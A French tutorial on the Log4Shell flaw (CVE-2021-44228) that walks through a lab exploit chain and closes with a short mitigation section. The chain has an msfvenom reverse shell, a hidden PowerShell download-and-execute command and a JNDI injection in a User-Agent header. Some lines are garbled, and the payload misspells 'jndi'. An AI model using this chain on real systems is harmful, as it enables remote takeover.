
Log4Shell (CVE-2021-44228): Description, exploitation et atténuation
Le 9 décembre 2021, le monde a découvert une nouvelle faille de sécurité concernant Log4J. Le score CVSSv3 (Common Vulnerability Scoring System) de la vulnérabilité a été évalué à 10, la rendant ainsi de niveau critique (https://nvd.nist.gov/vuln/detail/CVE-2021-44228).
Son vecteur CVSSv3 est le suivant : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
Faisons un peu de lumière sur ces valeurs afin que la raison de cette évaluation soit pleinement comprise :
Log4J est une bibliothèque Java, désormais partie intégrante du projet Apache Software Foundation, qui permet de garder sous contrôle l'état d'une application.
C'est le standard de facto pour la journalisation (logging) des applications Java.
La vulnérabilité repose sur JNDI (Java Naming and Directory Interface) : une API Java qui permet à une application d'interagir avec un service d'annuaire externe (par exemple LDAP).
L'interaction se fait via la fonctionnalité de lookup de JNDI qui, activée dans les configurations par défaut de Log4J, permet l'interaction avec un serveur distant.
Quelques petites précisions utiles à la lecture :
10.0.0.110.0.0.2x8680 et est consultable à l'URL http://hackme.com| ❗ ATTENTION ❗ |
|---|
| La technique d'attaque décrite ci-dessous ne doit servir qu'à comprendre la dangerosité effective de la vulnérabilité en question. L'auteur se dissocie et condamne toute utilisation inappropriée de l'article suivant. |
L'objectif de l'attaque suivante est d'exploiter Log4Shell afin de parvenir à télécharger et exécuter une reverse shell sur le système vulnérable, pour ainsi en prendre le contrôle total.
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.0.0.1 -p 2222
msfvenom afin de pouvoir recevoir, sur le port 8888, l'accès distant à la machinemsfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=8888 -f exe > payload.exe
nc, sur le port 8888 pour recevoir la connexion de la reverse shell chargée sur la machine vulnérablenc -lvnp 8888
python3 -m http.server 4444
C:\windows\temp et l'exécuterpowershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")
base64 grâce à la commande suivanteecho 'powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")' | base64
Le résultat de la commande précédente est le suivant :
cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
User-Agent d'un visiteur. L'attaquant envoie une requête similaire à :GET / HTTP/1.1
Host: hackme.com
User-Agent: ${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
est transmise à Log4J qui l'interprète et, via JNDI, effectue la requête vers le serveur LDAP de l'attaquant
ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
Le malware est téléchargé puis exécuté.
L'attaquant obtient une shell de la machine sur le port 8888.
Tout d'abord, il convient de rappeler qu'il s'agit d'une vulnérabilité qui concerne UNIQUEMENT les logiciels utilisant Java ou un dérivé (et évidemment Log4J comme bibliothèque de journalisation).
2.0-beta9 - 2.14.1 : Les versions vulnérables à Log4Shell vont de la 2.0-beta9 à la 2.14.1.2.15.0 : La version 2.15.0 de Log4J s'est révélée vulnérable. CVE-2021-45046. Actuellement, l'évaluation de la vulnérabilité est "9.0 Critiques".2.16.0 : La version 2.16.0 de Log4J s'est révélée vulnérable. CVE-2021-45105. Actuellement, l'évaluation de la vulnérabilité est "7.5 Élevée".La version 1.x de Log4J n'est pas strictement vulnérable à la faille de sécurité de référence mais, en plus d'avoir été abandonnée en 2015, elle est affectée par la vulnérabilité suivante : CVE-2021-4104.
La meilleure solution est de mettre à jour Log4J vers la version 2.17.0.